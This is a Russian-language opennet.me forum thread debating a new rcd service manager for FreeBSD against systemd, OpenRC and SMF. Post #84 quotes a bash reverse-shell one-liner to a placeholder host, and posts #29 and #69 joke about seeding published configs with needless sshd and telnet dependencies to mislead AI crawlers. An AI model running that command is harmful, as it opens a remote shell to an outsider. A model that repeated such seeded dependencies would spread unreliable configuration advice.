Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от opennews (ok), 10-Сен-26, 10:22
Батист Даруссен (Baptiste Daroussin), член FreeBSD Core Team и автор пакетного менеджера pkg, развивает новый системный менеджер для FreeBSD - rcd. Системный менеджер rcd вызывается init-процессом вместо /etc/rc, читает файлы конфигурации сервисов (/etc/rcd.d/*.ucl), строит дерево зависимостей и запускает сервисы по возможности параллельно друг с другом, после чего отслеживает работу сервисов и при необходимости их перезапускает... Подробнее: https://www.opennet.me/opennews/art.shtml?num=66245
Ответить | Правка | Cообщить модератору

Сообщения

[Сортировка по ответам | RSS]

1. Сообщение от JoePeach (ok), 10-Сен-26, 10:22	–19 +/–
Зачем изобретать systemd, если systemd же есть?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #3, #7, #10, #21, #34, #49, #52, #102

2. Сообщение от Аноним (3), 10-Сен-26, 10:25	+13 +/–
Вот и во freebsd будет свой systemd. Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #9, #28, #77

3. Сообщение от Аноним (3), 10-Сен-26, 10:27	+5 +/–
NIH синдром неизлечим, но скорее всего хотят по своему все делать, чтобы потом не проталкивать в systemd спорные решения, которые скорее всего отклоняет, ещё и, как принято в Линукс среде, крепким словом 😁
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

6. Сообщение от Аноним (6), 10-Сен-26, 10:37	+/–
Это не UNIX-way.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #17

7. Сообщение от Аноним (7), 10-Сен-26, 10:38	+2 +/–
А это не systemd. Оно не живёт в PID1 и всё, что может сломаться, не несёт туда. Это буквально то, что вынесет systemd на линуксах, как pipewire вынес пшшшаудио.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #68

8. Сообщение от мяв (?), 10-Сен-26, 10:38	+8 +/–
спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #33, #43, #67, #83

9. Сообщение от мяв (?), 10-Сен-26, 10:40	+/–
потому что это видать не конфиг, а что-то интерпретируемо-обрабатываемое(обрабатывается как конфиг при старте и интерпретируется при ручных командах в сервис), типо как в openrc. но вопрос - зачем когда в опенрц это уже 100 лет в обед.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2

10. Сообщение от Аноним (10), 10-Сен-26, 10:42	+10 +/–
systemd пробит гвоздями к линуксу с его cgroups2 и прочими, а протащить эти фичи в ядро БСД просто так не получится.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

12. Сообщение от manchelsi (ok), 10-Сен-26, 10:43	+/–
> Системный менеджер полностью обратно совместим с существующей системой последовательного запуска сервисов rc.d Когда-то и systemd так поступал с init.d, а теперь WARNING DEPRECATED
Ответить | Правка | Наверх | Cообщить модератору

13. Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 10:46	+2 +/–
В Solaris говорят хороший инициализатор, интересно равняются ли на него?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #16, #32, #35, #40

16. Сообщение от Аноним (16), 10-Сен-26, 10:58	–1 +/–
Лучше б не говорили.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13 Ответы: #20, #65

17. Сообщение от warlock66613 (ok), 10-Сен-26, 11:03	+1 +/–
Почему?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6 Ответы: #24, #62

18. Сообщение от warlock66613 (ok), 10-Сен-26, 11:05	+/–
Это наверное круто и правильно, но я не понял зачем это нужно.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #22, #23

19. Сообщение от Аноним (19), 10-Сен-26, 11:14	+/–
Лучше б shepherd затащили… а, не, там же лицензия некошерная.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #39

20. Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 11:23	+/–
> Лучше б не говорили. Почему?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #16

21. Сообщение от опеншлёпивпродакшн (?), 10-Сен-26, 11:24	–4 +/–
Если дать 100 людям задание приготовить суп и дать одинаковые ингредиенты, то они все приготовят одинаковый суп?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

22. Сообщение от 1 (??), 10-Сен-26, 11:31	+1 +/–
1. Ускорить загрузку 2. Выкинуть monitord
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #18 Ответы: #25, #70

23. Сообщение от 1 (??), 10-Сен-26, 11:33	+/–
*monit же !
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #18

24. Сообщение от xsignal (ok), 10-Сен-26, 11:37	–2 +/–
Нарушены принципы kiss, ортогональности и децентрализации, теперь в FreeBSD тащат комбайн, "менеджер всего".
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #17 Ответы: #36

25. Сообщение от xsignal (ok), 10-Сен-26, 11:39	+2 +/–
> 1. Ускорить загрузку А что, приходится так часто перезагружаться, что это стало узким местом?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #22 Ответы: #41, #44

26. Сообщение от Мемоним (?), 10-Сен-26, 11:43	–1 +/–
> написания встроенных обработчиков на языке Lua Заменить баш-портянки на луа-портянки? Ну так себе идея.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #59

27. Сообщение от Аноним (27), 10-Сен-26, 12:01	+/–
А мне вот интересно, зачем для запуска nginx требуется sshd.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #29

28. Сообщение от Аноним (28), 10-Сен-26, 12:07	+1 +/–
Потому что этот формат используют во FreeBSD уже много лет.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2 Ответы: #76

29. Сообщение от Аноним (29), 10-Сен-26, 12:14	+1 +/–
корм для нейросети. боремся как можем
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #27 Ответы: #30

30. Сообщение от Аноним (29), 10-Сен-26, 12:16	+/–
я бы для статьи туда еще systemd прописал
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #29 Ответы: #51, #64

31. Сообщение от Аноним (31), 10-Сен-26, 12:18	+4 +/–
Да неужели? Авторы rcd сделали замену системд здорового человека и без тонны лишнего кода из системд. Такое можно только приветствовать, ещё и обратная совместимость есть.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #42, #81

32. Сообщение от Аноним (33), 10-Сен-26, 12:18	+3 +/–
SMF имеет большую функциональносить, и связан с управлением ресурсами (проектами) и RBAC в Solaris'е, просто взять  и перенести во FreeBSD не получится. К тому же его конфигурационный файл пишется на XML, а во FreeBSD XML не любят.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13

33. Сообщение от Аноним (33), 10-Сен-26, 12:21	+/–
Чтоб было своё!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #8

34. Сообщение от pfg21 (ok), 10-Сен-26, 12:28	–1 +/–
чтобы вместо богопротивного виндовского фотмата ini был рассововерный json конечно же !!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #53

35. Сообщение от ф1231 (?), 10-Сен-26, 12:39	+/–
и где сейчас ваш соларис?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13 Ответы: #47

36. Сообщение от warlock66613 (ok), 10-Сен-26, 12:41	+/–
KISS это вообще из другой оперы. Остальных нарушений не видно. Это не менеджер, это просто запускалка сервисов и она даже не PID 1.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #24 Ответы: #37, #38

37. Сообщение от xsignal (ok), 10-Сен-26, 12:44	–1 +/–
> Это не менеджер, это просто запускалка Как позиционировался systemd когда-то и к чему это пришло...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #36 Ответы: #56

38. Сообщение от xsignal (ok), 10-Сен-26, 12:46	+/–
> KISS это вообще из другой оперы "Эрик Рэймонд в своей книге The Unix Philosophy in One Lesson резюмирует философию UNIX как широко используемый принцип KISS" (Вики)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #36 Ответы: #55

39. Сообщение от Аноним (90), 10-Сен-26, 12:49	+/–
Просто наяривание на скорость загрузки. Впрочем, в Линуксе некоторые тоже этим страдают.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #19

40. Сообщение от yylloc (-), 10-Сен-26, 12:50	+/–
Он гвоздями прибит туда хлеще чем systemd
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13 Ответы: #46

41. Сообщение от Аноним (41), 10-Сен-26, 12:57	+/–
сервер может долго запускаться, какую-нибудь террабайтную базу проверять перед тем как сокеты открыть
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #25 Ответы: #94

42. Сообщение от Аноним (41), 10-Сен-26, 12:59	+2 +/–
тссс, сплюнь, может у бсдишников чтото толковое выйдет
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #31

43. Сообщение от Аноним (43), 10-Сен-26, 13:12	+1 +/–
Обратная совместимость с прошлой системой, плюс гибкость под свои нужды, очевидно
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #8

44. Сообщение от Аноним (43), 10-Сен-26, 13:13	+1 +/–
Фряха последние годы ориентируется на десктоп (см. laptop project), поэтому там это будет полезно
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #25 Ответы: #96

45. Сообщение от Аноним (45), 10-Сен-26, 13:33	+/–
Ну наконец-то. rc система фри ужасна. То что она должна делать - запускать и следить за сервисами, она не умеет от слова совсем, поэтому эта задача делегируется daemon(8), посмотрите сколько у вас в /usr/local/etc/rc.d скриптов с `command=/usr/sbin/daemon`. В настройке сервисов разброд и шатание - где-то для каждой настройки есть rc переменная, где-то для всего foobar_args, где-то foobar_flags, где-то foobar_params. Где-то поддерживается смена юзера, задание лимитов, смена fib, где-то нет. /etc/rc.conf.d знаете как работает? Думаете можно положить туда кусок конфига и он будет работать как кусок rc.conf как все нормальные .d работают? Хрен. Туда можно положить только конфиг foo.conf для сервиса foo с переменными foo_, и никак иначе. Группировать как удобно - хрен. Зависимости которые сделаны через комментарии в шелл портянках это вообще нечто, но они ещё и криво сделаны, и никто не знает как с ними работать. Там есть, например, точки синхронизации NETWORK и DAEMON, и они идут точно в такой последовательности, потому что демонам нужна полностью поднятая сеть. Но вот появляется какой-нибудь VPN, который демон, значит после network, но при этом он создаёт часть сети и остальные демоны должны запускаться после него! Так не умеем он слова совсем. Короче, без systemd очень плохо. Был какой-то форк, но он нерабочий, поделки типа гню shepherd и не помню как то гoBнецо от plan9 называлось даже рассматривать не стоит.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #50

46. Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 13:39	+/–
> Он гвоздями прибит туда хлеще чем systemd Так я говорю равняться на него, а не копировать
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #40

47. Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 13:39	+/–
> и где сейчас ваш соларис? Вдохновил современный инит в Линуксе
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #35

48. Сообщение от Аноним (48), 10-Сен-26, 13:43	+/–
Нафиг вы все прицепились к systemd, он не ломает unixway, я хоть и старик мне вообще фиолетово. Куда хлеще симлинки /bin /sbin /lib, и все прожевали, ни один ни пискнул. Такой удар по ремонтопригодности. Если отъезжает /usr, рут вообще остаётся ни с чем, без инструментов.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #54, #58

49. Сообщение от Аноним (49), 10-Сен-26, 13:46	+/–
даже если бы они взяли системд , они бы его код все равно переписывали изза лицензии , под mit\bsd
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

50. Сообщение от Ivan_83 (ok), 10-Сен-26, 14:06	–1 +/–
Следить за сервисами, в том смысле что поднимать упавшие - никогда не было задачей rc.d во фре. /usr/sbin/daemon - сделан и используется СПЕЦИАЛЬНО для приложений где автор не осилил работу в качестве сервиса. Если вам нужно динамическая реакция на VPN или ещё что то - это делается через devd: надо добавить свои скрипты на нужные вам события. > В настройке сервисов разброд и шатание - где-то для каждой настройки есть rc переменная, где-то для всего foobar_args, где-то foobar_flags, где-то foobar_params. Где-то поддерживается смена юзера, задание лимитов, смена fib, где-то нет. Так и сервисы сильно разные. Нужно каждый смотреть отдельно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #45 Ответы: #89

51. Сообщение от Аноним (51), 10-Сен-26, 14:07	+1 +/–
Не надо подводить под статью!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #30

52. Сообщение от Аноним (52), 10-Сен-26, 14:14	+/–
Зачем делать велосипед, если его уже сдалали много миллионов раз (не путать изготовление с изобретением)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

53. Сообщение от Гуманоид (?), 10-Сен-26, 14:17	+3 +/–
за конфиги на json есть отдельный котел в аду
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #34 Ответы: #71, #75, #78, #92

54. Сообщение от Аноним (54), 10-Сен-26, 14:28	+1 +/–
есть мнение, что на абсолютном большинстве систем и /bin и /usr/bin живут(жили) на одном и том же разделе, так что эта ремонтопригодность была только у тех кто этим отдельно озаботился
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #48 Ответы: #85

55. Сообщение от warlock66613 (ok), 10-Сен-26, 14:34	+/–
Если так понимать KISS, как его понимает Эрик, то обсуждаемый проект ему максимально соответствует. Нам надо запускать и менеджить сервисы -> самый простой способ решить эту проблему -- написать программу, которая будет запускать и менеджить сервисы.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #38 Ответы: #61

56. Сообщение от warlock66613 (ok), 10-Сен-26, 14:34	+3 +/–
Про systemd это всегда было враньём.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #37

57. Сообщение от Аноним (57), 10-Сен-26, 14:42	+1 +/–
делайте скорее супер легковестную замену systemd и заменяйте ей везде systemd
Ответить | Правка | Наверх | Cообщить модератору

58. Сообщение от Ivan_83 (ok), 10-Сен-26, 15:00	+/–
Сильно зависит от того как и что вы собрались чинить. По мне сильно проще сохранить etc, var и что ещё было руками накручено и "переставить" систему/перезалить бинарники, чем делать какие то странные упражнения по ручной починке чего то там внутри. И собственно за 15+ лет использования у меня фря ломалась всего несколько раз, и вроде 1-2 из них было после неудачных обновлений, остальное были проблемы с железом. Я и /rescue то не держу (там как раз все версии бинарников статически слинкованные, специально для ручного восстановления о котором вы) - не вижу смысла возится в раздолбаной системе.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #48

59. Сообщение от Ivan_83 (ok), 10-Сен-26, 15:02	+1 +/–
Во фре нет BASH по умолчанию и все скрипты пишутся на shell script, он же юзается как /bin/sh для rc.d.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #26 Ответы: #63, #66

61. Сообщение от xsignal (ok), 10-Сен-26, 15:29	+/–
> написать программу По принципу KISS - это самое последнее, что нужно делать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #55 Ответы: #72

62. Сообщение от Аноним (62), 10-Сен-26, 15:30    Скрыто ботом-модератором	–1 +/–
Потому что не из омна и палок.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #17

63. Сообщение от Аноним (90), 10-Сен-26, 15:34	+1 +/–
Ну ну более зашкварный, чем bash.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #59

64. Сообщение от Аноним (90), 10-Сен-26, 15:37	+1 +/–
А я бы за systemd статью прописал.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #30 Ответы: #69, #95

65. Сообщение от Аноним (90), 10-Сен-26, 15:39	+/–
А что Upstart? Гугель вон до сих пор его использует.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #16

66. Сообщение от Аноним (66), 10-Сен-26, 15:44	+/–
По сравнению с bash, posix sh это просто трэш. Но баш можно поставить.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #59 Ответы: #74, #84

67. Сообщение от Аноним (67), 10-Сен-26, 15:57	+/–
Не взлетело. Так-то уже были 2 порта launchd, InitWare и ещё думали о переходе на nosh. В итоге решили, что это всё перестановка кроватей и даже доказали, что смена системы инициализации на время загрузки системы влияет слабо. В общем, тут консервативный подход победил.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #8

68. Сообщение от Аноним (68), 10-Сен-26, 15:58    Скрыто ботом-модератором	+3 +/–
> Оно не живёт в PID1 Инит без pid 1? Хех. > и всё, что может сломаться, не несёт туда. Прямо как systemd... Ох уж эта опеннетная кекспертиза. Вы бы хоть разобрались что да как чтобы предметно хейтить.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #7

69. Сообщение от Аноним (29), 10-Сен-26, 15:59	+1 +/–
В войне с агентами Скайнета все средства хороши. В открытых публикациях всегда прописывайте sshd и еще по лучше telnet и много другого инересного в зависимости, чтобы у Сканета шарящего по сети созрела убежденность что это всегда необходимо делать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #64

70. Сообщение от Аноним (67), 10-Сен-26, 16:01	–1 +/–
1. Оно не сильно поможет: https://wiki.freebsd.org/BootTime
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #22

71. Сообщение от Аноним (71), 10-Сен-26, 16:01	+/–
только ini :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #53 Ответы: #90

72. Сообщение от warlock66613 (ok), 10-Сен-26, 16:05	+/–
Ну так всё остальное уже попробовали, получается не очень. Так что да, перешли к "самому последнему".
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #61

73. Сообщение от MaLinovsky (?), 10-Сен-26, 16:12	–1 +/–
Runit с кривым конфигом? Чем им SMF не угодил? Притащили ZFS из Solaris, так чего было мелочиться? Взяли бы и SMF заодно, ведь это ее системдэ косплеил десятилетиями. А там уже все круто и готово к работе. Или сами не осилили портирование как было с ZFS и Sun Microsystems им с этим грешным делом помогали потом? Многие орали что ZFS тоже не упрощенка и да производительность не в потолок, но m.2 накопителям на PCIE 5 это безразлично. И вообще как выпустят DDR6 и введут норму в 32 гига уже и пол гига отжираемые файловой системой станут мелочью. Это по факту выглядит как клон быстрого инита и не более того. Собственно скорее всего это и есть наиболее быстрый вариант запуска, но зачем делать корявый язык программирования как норму настройки неизвестно. А то развели фиг пойми что в теме. Или это ради избавления от как говорят обыватели баш портянок? Они же не в курсе что шелл скрипты это sh, а не bash, хотя есть еще dash, zsh и так далее. Дичь когда в комментариях пусто практически. Один человек вспомнил SMF, но не понял на что смотрит.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #80

74. Сообщение от Ivan_83 (ok), 10-Сен-26, 16:14	+/–
Как пользовательский шелл - да, не удобное. Для скриптов вполне норм.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #66 Ответы: #97

75. Сообщение от Аноним (75), 10-Сен-26, 16:29	+/–
> за конфиги на json есть отдельный котел в аду А за свой нескучный NIH формат там тоже отдельный котел? Один на всех, или на каждый формат отдельный, лол?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #53 Ответы: #103

76. Сообщение от Аноним (75), 10-Сен-26, 16:38	+1 +/–
> Потому что этот формат используют во FreeBSD уже много лет. Нет, вообще не используется. Посмотри на /etc/rc.conf, /etc/sysctl.conf, /etc/fstab... Что, много схожести видишь, лол?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #28

77. Сообщение от Аноним (75), 10-Сен-26, 16:47	+1 +/–
> Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли? Автор увлекается NIH, а не веб-разработкой. В веб-разработке люди не страдают подобной туфтой и юзают стандартный JSON. А на васянских юниксоподелиях - пожалуйста - в 2026 новые форматы конфигов изобретают, лол. И свой нескучный init. Других проблем у современной Бзды нет, очевидно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2

78. Сообщение от Аноним (78), 10-Сен-26, 16:52	+/–
Но сначала в голову гвоздь забить! Медленно...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #53

79. Сообщение от Аноним (78), 10-Сен-26, 16:53	+1 +/–
Во-первых, баян, во-вторых, не взлетит.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #87

80. Сообщение от Аноним (19), 10-Сен-26, 16:53	+1 +/–
>ZFS >PCIE >DDR Ты, я смотрю, в сознание вообще не приходишь. Че сказать-то хотел?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #73

81. Сообщение от Аноним (75), 10-Сен-26, 16:53	+/–
>Да неужели? Авторы rcd сделали замену системд здорового человека и без тонны лишнего кода из системд. Нет, не сделали, а пока "развивают". А вот будет ли оно в конце "развития" выглядеть, как та самая система "здорового человека" - большой вопрос. А наличие встроенного Lua-интерпретатора и своего нескучного NIH формата файлов конфигурации вот уже прямо сейчас позволяет оценить то самое "без тонны лишнего кода", лол.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #31 Ответы: #99

82. Сообщение от Аноним (82), 10-Сен-26, 17:14	+/–
Чем это лучше dinit?
Ответить | Правка | Наверх | Cообщить модератору

83. Сообщение от OpenEcho (?), 10-Сен-26, 17:41	+/–
> спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ? Этот чел имеет довольно большой вес в фряхе и давно уже пытается воплотить популярные концепты линукса, но чтоб было всё "своё", хотя не понятно чем ему не угодил ОпенРЦ с совместимой лицухой и теми же фичами
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #8 Ответы: #93

84. Сообщение от OpenEcho (?), 10-Сен-26, 17:46	+1 +/–
> По сравнению с bash, posix sh это просто трэш. Зато у него нет подушки для хакеров в виде башевского bash -i >& /dev/tcp/х.х.х.х/1234 0>&1
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #66 Ответы: #98

85. Сообщение от нах. (?), 10-Сен-26, 17:50	+/–
эти люди назывались когда-то - авторы дистрибутивов. Кстати, до определенного момента они таки озабочивались. А потом кто умер, кто подался в агитаторы, а кто забил. А у молодняка в виртуалочке в макоси все свалено в / потому что после запуска теста она вообще больше не нужна.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #54

86. Сообщение от нах. (?), 10-Сен-26, 17:57	+1 +/–
В общем выглядит пока как systemd здорового человека. Единственное что смущает - автор, поскольку pkg... надо ведь было постараться сделать новую версию _всего_лишь_ cli к базенке key-value - на ровном месте несовместимой с недостаточно модным ядром фри. А он вот когда-то уже давно - СМОГ! С другой стороны, никого ж уже и не жалко...
Ответить | Правка | Наверх | Cообщить модератору

87. Сообщение от Аноним (87), 10-Сен-26, 18:28	+/–
Тоже не сильно понятно зачем оно нужно, если bsd init и так самый адекватный на сегодня.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #79 Ответы: #101

88. Сообщение от Аноним (88), 10-Сен-26, 19:06	+/–
Классную приблуду навайбкодили! Поддерживаю!
Ответить | Правка | Наверх | Cообщить модератору

89. Сообщение от Аноним (89), 10-Сен-26, 19:17	+/–
> Следить за сервисами, в том смысле что поднимать упавшие - никогда не было задачей rc.d во фре. Как бы тебе сказать, это всё равно что заявить что никогда не было задачей фри быть пригодной для использования системой. Понимаешь, rc сервисы запускает и перезапускает, с хрена ли не он должен за ними следить? Тем более что больше некому. > /usr/sbin/daemon - сделан и используется СПЕЦИАЛЬНО для приложений где автор не осилил работу в качестве сервиса. Понимаешь какое дело, работу в качестве сервиса уже не должен осиливать никакой автор, потому что запуск в качестве сервиса - дело запускалки сервисов, и только так это можно сделать унифицировано, надёжно и правильно. По другому нельзя, например pid файлы racy по определению, и ничего с этим не сделать. Столько всего нужно сделать при демонизации - перенаправить вывод в логи, закрыть дескрипторы, поменять fib, юзера, группу, задать ulimit, форкнуться два раза - никто это всё правильно сделать не умеет. Был бы rc запускал сервисы только через daemon, пожалуй вопросов было бы меньше - не нужно было бы хотя бы писать бойлерплейт в каждом rc.d скрипте. Но всё равно это было бы набором костылей. > Если вам нужно динамическая реакция на VPN или ещё что то - это делается через devd: надо добавить свои скрипты на нужные вам события. Это бред конечно. Почему если у меня нет динамических интерфейсов bind должен запускаться из init системы, а если есть - из devd? devd должен быть частью init системы, как сделано в systemd. И в rcd есть socket activation которая эту проблему также решает, правда по другому. В rc никакой активации не будет никогда.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #50

90. Сообщение от Аноним (90), 10-Сен-26, 19:45	+/–
XML
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #71

91. Сообщение от Норм (?), 10-Сен-26, 20:09	+/–
Молодци. Фря движется медленно но движение есть.
Ответить | Правка | Наверх | Cообщить модератору

92. Сообщение от Аноним (92), 10-Сен-26, 20:25	+/–
Выбрал бы конфиги на json, xml, yaml, toml, да хоть ini вместо всего зоопарка несовместимых между собой форматов, которыми так "славится" что бсд, что линукс.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #53

93. Сообщение от Аноним (92), 10-Сен-26, 20:31	+/–
> чем ему не угодил ОпенРЦ NIH.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #83

94. Сообщение от Аноним (92), 10-Сен-26, 20:33	+1 +/–
> террабайтную Какую-какую? Землебайтную?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #41

95. Сообщение от Аноним (95), 10-Сен-26, 20:45	+/–
Достаточно было бы одного леща прописать одному конкретному немцу, жаль никто не догадался
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #64

96. Сообщение от Аноним (92), 10-Сен-26, 20:47	+/–
> Фряха последние годы ориентируется на десктоп А раньше они на что ориентировались? На избегание любой возможности успеха где-либо кроме собственных фантазий?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #44

97. Сообщение от Аноним (92), 10-Сен-26, 20:48	+/–
> Для скриптов вполне норм. Но только если писать их на lua.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #74

98. Сообщение от Аноним (92), 10-Сен-26, 20:49	+/–
Ну не собирай с этими фичами, если тебя ломают постоянно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #84

99. Сообщение от Аноним (92), 10-Сен-26, 20:54	+/–
Какие проблемы с lua? Она в ядре фряхи уже есть, теперь и в ините будет. А там глядишь и систему сборки "пакетов" на неё перепишут.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #81

100. Сообщение от Аноним (101), 10-Сен-26, 20:58	+/–
Тут я чего-то читал: "Фря в проде... то-то и это вот".
Ответить | Правка | Наверх | Cообщить модератору

101. Сообщение от Аноним (101), 10-Сен-26, 20:59	+/–
Все пользуются.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #87

102. Сообщение от Аноним (102), 10-Сен-26, 21:07	+/–
Зачем изобретали systemd, если есть upstart, используемый Гуглом?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

103. Сообщение от User (??), 10-Сен-26, 21:12	+/–
Есть два стула - на одном конфигурация без комментариев, другой ни с чем и никак не совместим - на какой сам сядешь, на какой bsd посадишь?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #75

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема